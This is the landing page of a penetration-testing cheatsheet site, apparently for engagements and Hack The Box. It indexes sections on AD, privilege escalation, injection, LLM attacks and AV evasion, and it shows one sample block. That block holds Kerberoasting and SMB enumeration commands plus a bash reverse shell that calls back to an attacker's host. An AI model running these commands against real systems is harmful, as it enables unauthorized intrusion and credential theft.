h4rithdpentest

$Target variables

Set it once. Every <IP>, <USER> or <DOMAIN> placeholder in the notes is rewritten live, and the copy buttons copy your values.

Stored in this browser only
h4rithd.com ↗

// Pentest notes and cheatsheets

The notebookbehind the shell.

Commands, payloads and checklists I reach for on engagements and Hack The Box. 75 pages and 907 copy-ready blocks. Search it, set your target once, then copy and go.

01Index

Sixteen sections,
one muscle memory.

  1. 01LinuxLateral Movement · PrivilageEsc Linux02
  2. 02WindowsActive Directory · Lateral Movement · PrivilageEsc Windows03
  3. 03LLM SECURITYLLM & AI Penetration Testing01
  4. 04Mobile SecurityAndroid01
  5. 05CloudAWS · Docker · Kubernetes · Entra ID (Azure AD)04
  6. 06ToolsFile Transfers · Shells / Payloads · Pivoting / Forwarding · Network Enumeration · Cracking / Fuzzing / Brute-force05
  7. 07ForensicVolatility3 · Log Analysis02
  8. 08TCPFTP | 21 · SSH | 22 · SMTP | 25, 587 · DNS | 53 · Finger | 79 · POP3 & IMAP | 110, 143, 993 · RPC & NFS | 111, 2049 · LDAP | 389, 636 · HTTPS | 443 · SMB | 445, 139 · Squid Proxy | 3128 · Subversion | 3690 · Redis | 6379 · Elasticsearch | 9200 · Memcached | 11211 · Gluster | 24007, 4915216
  9. 09UDPTFTP | 69 · SNMP | 161 · IPsec IKE | 500, 4500 · IPMI | 623 · IPP | 63105
  10. 10OWASP 10LFI / XXE/XSLT · NoSQL Injection · SQL Injection · Neo4j Injection · Command Injection · Deserialization · XSS / CSV / HTMLi / (S/C)SRF / SSTI07
  11. 11DatabaseSQLite · Oracle SQL | 1521 · MSSQL / MYSQL / PSQL03
  12. 12Binary ExploitationLinux · Windows02
  13. 13LanguagesGo · .Net · PHP · Perl · asp/x · Ruby · Bash · React · Python · NGINX · Node.js11
  14. 14OtherHints!! · Git · WiFi · Curl · BookMarks · Steganography06
  15. 15CMS / Servers / OthersWordpress · Servers / Others02
  16. 16RedTeamReconnaissance · Initial Access · Persistence Techniques · AV Evasion Techniques04

02Port lookup

Open port?
Open playbook.

03Target variables

Set the target once.
Every command follows.

Whether a note says <ip>, <IP>, $IP or <RemoteIP>, it is shown as one placeholder: <IP>. Fill it in once and every command on every page is rewritten in place, including what the copy button copies.

Values never leave your browser.

alt T from anywhere

bash8 lines
# recon
nmap -sC -sV -p- --min-rate 5000 <IP> -oA scans/full
nxc smb <IP> -u '<USER>' -p '<PASS>' --shares
GetUserSPNs.py <DOMAIN>/<USER>:'<PASS>' -dc-ip <IP> -request
# catch the shell
rlwrap nc -lvnp <LPORT>
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'